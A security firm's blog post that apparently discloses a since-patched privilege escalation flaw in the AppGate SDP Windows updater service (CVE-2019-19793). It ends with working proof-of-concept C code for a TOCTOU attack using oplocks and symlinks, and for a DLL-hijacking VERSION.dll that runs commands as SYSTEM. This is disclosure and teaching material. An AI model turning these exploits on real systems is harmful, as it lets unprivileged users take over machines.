2020-02-05 10:17 | Lasse Trolle Borup

CVE-2019-19793: AppGate SDP, Part 1: Local Privilege Escalation

This is part one of two posts documenting a vulnerability we reported to Cyxtera (now AppGate) in June last year. In this post I will describe the Local Privilege Escalation attack vector of this bug and in part 2 I will describe how it can be exploited remotely.

The week after reporting the issue, Cyxtera deployed a patched version and issued an advisory, so the bug has been fixed for a while by now. This is the fastest response time we have experienced to any of our vulnerability reports yet.

The issue

AppGate SDP (Software Defined Perimeter) is a security platform enabling network administrators to establish fine-grained access control to network services. As part of the application, software needs to be deployed to the Windows clients intended to access servers protected by SDP. This client software contains a component to facilitate updates to the application. Since the deployment of updates needs to occur with administrative privileges, the service runs as SYSTEM. The service has an API and can be accessed using a named pipe at appgate.updater.service with messages encoded in JSON. Since it’s an .NET application, the code for all this is easily accessible by using a tool like dnSpy to decompile the assemblies:

Creating the pipe server

Allowed users

The picture above shows the access rule applied to the named pipe server endpoint. The rule allows all authenticated users to communicate with the server. This enables software running in the context of an unprivileged user to initiate an update.

One of the message types in the JSON protocol is a request that an update executable is run, with the executable specified as an argument. To prevent unprivileged users from running arbitrary executables as SYSTEM, the service process checks that the file is signed by Cyxtera before running it:

Verification before execution

The two functions, VerifyCert and StartInstallation, both take the path of the intended update file as an argument, and the functions are themselves responsible for handling the opening and closing of the file. Since the file will be closed, for however short a period, between the verification and the execution, an attacker will be able to overwrite the file in this short window. A classic Time-of-check-time-of-use (TOCTOU) bug.

TOCTOU attack

Having such a short window to replace a file can pose a problem for an attacker, but Windows contains a feature that can help in some cases: Opportunistic locks. Opportunistic locks are normally used to give an application time to stop its operations on a file, if another process requests a conflicting access to the file. This could for example be a background backup service backing off during an ongoing file read, if another process attempts to write to the same file. An opportunistic lock can be set up to block the new process’ access and give the backup service time to stop its operation and close the file. The process trying to open the file for writing will then proceed as normal, not knowing that it has been temporarily blocked. Without an opportunistic lock, the writing process would have received a SHARING_VIOLATION and would have needed to handle this scenario. James Forshaw has done a lot of work in documenting this feature for use in for Windows exploits, and his repository contains code to simplify using them.

For this timing attack, an opportunistic lock can be used if a file access by the vulnerable process can be found in the time slot between the two accesses to the file we want to overwrite. As both the code and Procmon shows us, another application, AppGate SDP Updater UI.exe, is started after verification of the update file, but before its execution:

Starting the UI

Starting the UI

Placing on oplock on AppGate SDP Updater UI.exe will therefore allow us to get informed when the target file is free to overwrite, and give us the time to overwrite it. The code for this attack can be seen at the bottom. The code uses a link to a signed executable that is changed to point to our payload after the opportunistic lock has been triggered.

Putting this attack together gives us a local privilege escalation by allowing an unprivileged user to execute arbitrary files as SYSTEM.

DLL hijacking

Focusing on the TOCTOU attack vector caused me to miss another more simple attack, that later occurred to me while creating the PoC for the remote attack vector. Since we specify the path to the update executable, and it is executed from that path, we might have an option to place a malicious dll in the same folder, and have it loaded by the signed executable. A classic DLL hijacking attack enabled by allowing the execution of binaries from an uncontrolled location. The file appgate-driver.exe is a good candidate, as it is signed by Cyxtera and tries to load multiple DLL's from its current working directory during its import resolution and execution.

Loading DLL's from the current working directory

If a DLL is loaded dynamically with a call to LoadLibrary, DLL hijacking just requires the attackers code to be placed in the DLL entrypoint, as is the case with CZLibray.dll:

Loaded with LoadLibrary

If a DLL is instead loaded as part of the import resolution process, the attackers DLL need to contain the requested exports if the attack is to succeed. This is the case with VERSION.dll:

Loaded during import resolution

The code to implement this attack can be found at the bottom of the post. I used VERSION.dll to demonstrate how the needed exports could be added by forwarding the exports to the real DLL.

In my next post I will detail the issues involved in exploiting this issue remotely.

Steps to reproduce, TOCTOU

  1. Compile the following code against this library https://github.com/googleprojectzero/symboliclink-testing-tools:
    #include "stdafx.h"
    static FileOpLock* oplock = nullptr;
    static FileSymlink* sl = nullptr;
    static LPCWSTR symlink;
    static LPCWSTR target;
    static LPCWSTR locktarget;
    static _TCHAR szPath[MAX_PATH];
    void replace()
    		delete sl;
    		CopyFile(szPath, L"C:\\tempdir\\test.exe", false);
    		delete oplock;
    int _tmain(int argc, _TCHAR* argv[])
    	if (argc > 1)
    		char program[] = "cmd.exe /c whoami > c:\\whoami.txt";
    		WinExec((LPCSTR)program, SW_HIDE);
    		GetModuleFileName(NULL, szPath, MAX_PATH);
    		symlink = L"c:\\tempdir\\test.exe";
    		target = L"c:\\Program Files (x86)\\AppGate SDP\\Updater\\Current\\Shared.dll";	
    		locktarget = L"C:\\Program Files (x86)\\AppGate SDP\\Updater\\Current\\AppGate SDP Updater UI.exe";
    		sl = new FileSymlink();
    		sl->CreateSymlink(symlink, target, nullptr);
    		oplock = FileOpLock::CreateLock(locktarget, L"x", replace);
    		HANDLE hPipe;
    		LPSTR lpvMessage = "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"update\",\"params\":\"c:\\\\tempdir\\\\test.exe\"}\n";
    		DWORD  cbToWrite, cbWritten;
    		LPTSTR lpszPipename = TEXT("\\\\.\\pipe\\appgate.updater.service");
    		hPipe = CreateFile(lpszPipename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 
    		cbToWrite = (lstrlenA(lpvMessage) + 1);
    		WriteFile( hPipe, lpvMessage, cbToWrite, &cbWritten, NULL);
    	return 0;
  3. Execute the resulting binary on a system running the Appgate SDP Client.
  4. Verify that the file whoami.txt has been written to the root of C:.

Steps to reproduce, DLL hijacking

  1. Create a folder called c:\test.
  2. Copy appgate-driver.exe to c:\test as test.exe:
    copy "c:\Program Files (x86)\AppGate SDP\Driver\appgate-driver.exe" c:\test\
  4. Compile the following code as VERSION.dll and place it in c:\test:
    #define DLLIMPORT __declspec (dllexport)
    #pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\VERSION.GetFileVersionInfoA")
    #pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\VERSION.GetFileVersionInfoSizeA")
    #pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\VERSION.VerQueryValueA")
    BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
    	WinExec("cmd /c whoami > c:\\whoami.txt", SW_HIDE);
        return TRUE;
  6. Compile and execute the following code:
    int _tmain(int argc, _TCHAR* argv[])
    	HANDLE hPipe;
    	LPSTR lpvMessage = "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"update\",\"params\":\"c:\\\\test\\\\test.exe\"}\n";
    	DWORD  cbToWrite, cbWritten;
    	LPTSTR lpszPipename = TEXT("\\\\.\\pipe\\appgate.updater.service");
    	hPipe = CreateFile(lpszPipename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 
    	cbToWrite = (lstrlenA(lpvMessage) + 1);
    	WriteFile( hPipe, lpvMessage, cbToWrite, &cbWritten, NULL);
    	return 0;
  8. Verify that the file whoami.txt has been written to the root of C:\

Contact us

+45 5364 8009

[email protected]

Kigkurren 8N 4th floor, 2300 Copenhagen S

Consulting | Training | News

© 2020 Danish Cyber Defence A/S · Kigkurren 8N 4th floor · 2300 Copenhagen S · CVR 38871064